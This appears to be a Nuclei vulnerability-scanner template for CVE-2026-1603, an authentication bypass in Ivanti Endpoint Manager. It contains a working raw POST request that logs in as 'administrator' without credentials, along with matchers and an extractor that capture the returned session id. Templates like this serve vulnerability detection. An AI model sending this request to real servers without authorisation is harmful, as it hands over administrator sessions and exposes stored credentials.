id: CVE-2026-1603

info:
  name: "Ivanti Endpoint Manager - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    An authentication bypass in Ivanti Endpoint Manager before version 2024 SU5 allows a remote unauthenticated
    attacker to leak specific stored credential data.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-1603&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-1603
    cwe-id: CWE-288
  metadata:
    verified: false
  tags: cve,cve2026,auth,ivanti,epmm,authbypass,vkev,kev
http:
  - raw:
      - |
        POST /RemoteControlAuth/api/Auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "logintype":"64",
            "username":"administrator"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sessionid":'

      - type: word
        part: body
        words:
          - '"sessionid": null'
        negative: true

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: sessionid
        json:
          - '.sessionid'